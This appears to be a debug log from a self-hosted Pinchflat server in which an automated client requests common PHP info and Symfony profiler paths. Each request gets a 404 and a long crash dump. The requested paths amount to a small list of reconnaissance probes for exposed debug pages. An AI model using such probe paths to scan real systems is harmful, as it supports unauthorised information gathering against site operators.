15:15:11.298 [info] GET /symfony/_profiler/phpinfo 15:15:11.299 [debug] QUERY OK source="settings" db=0.4ms idle=542.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.299 [debug] QUERY OK source="settings" db=0.3ms idle=542.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.300 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:11.300 [error] #PID<0.2805.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 16) terminated Server: rutube.spluft.ru:80 (http) Request: GET /symfony/_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /symfony/_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/symfony/_profiler/phpinfo", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2805.0>, params: %{}, path_info: ["symfony", "_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/symfony/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gsTV-ItViSAAABBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/symfony/_profiler/phpinfo", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /symfony/_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/symfony/_profiler/phpinfo", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 16, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2805.0>, params: %{}, path_info: ["symfony", "_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/symfony/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gsTV-ItViSAAABBC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchfl (truncated) 15:15:11.505 [info] GET /app_dev.php/_profiler/phpinfo 15:15:11.506 [debug] QUERY OK source="settings" db=0.5ms idle=530.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.507 [debug] QUERY OK source="settings" db=0.3ms idle=526.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.507 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:11.508 [error] #PID<0.2806.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 17) terminated Server: rutube.spluft.ru:80 (http) Request: GET /app_dev.php/_profiler/phpinfo ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler/phpinfo", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2806.0>, params: %{}, path_info: ["app_dev.php", "_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/app_dev.php/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gtE1Jk0j96kAABBi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler/phpinfo", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app_dev.php/_profiler/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app_dev.php/_profiler/phpinfo", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 17, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2806.0>, params: %{}, path_info: ["app_dev.php", "_profiler", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/app_dev.php/_profiler/phpinfo", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gtE1Jk0j96kAABBi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder (truncated) 15:15:11.716 [info] GET /test.php 15:15:11.717 [debug] QUERY OK source="settings" db=0.4ms idle=736.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.718 [debug] QUERY OK source="settings" db=0.3ms idle=418.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.718 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:11.718 [error] #PID<0.2807.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 18) terminated Server: rutube.spluft.ru:80 (http) Request: GET /test.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2807.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gt3EGbDWhisAABCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /test (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/test.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 18, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2807.0>, params: %{}, path_info: ["test"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/test.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88gt3EGbDWhisAABCC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib (truncated) 15:15:11.931 [info] GET /dashboard/info.php 15:15:11.933 [debug] QUERY OK source="settings" db=1.1ms idle=632.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.934 [debug] QUERY OK source="settings" db=0.5ms idle=426.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:15:11.934 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:15:11.934 [error] #PID<0.2808.0> running PinchflatWeb.Endpoint (connection #PID<0.2788.0>, stream id 19) terminated Server: rutube.spluft.ru:80 (http) Request: GET /dashboard/info.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/info.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2808.0>, params: %{}, path_info: ["dashboard", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/dashboard/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88guqTmPeLZ2kAABCi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/info.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /dashboard/info (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.2788.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/dashboard/info.php", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26463}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "host" => "rutube.spluft.ru", "user-agent" => "python-httpx/0.28.1", "via" => "1.1 Caddy", "x-forwarded-for" => "45.148.10.249", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 19, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.2808.0>, params: %{}, path_info: ["dashboard", "info"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"host", "rutube.spluft.ru"}, {"user-agent", "python-httpx/0.28.1"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "45.148.10.249"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/dashboard/info.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH88guqTmPeLZ2kAABCi"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", 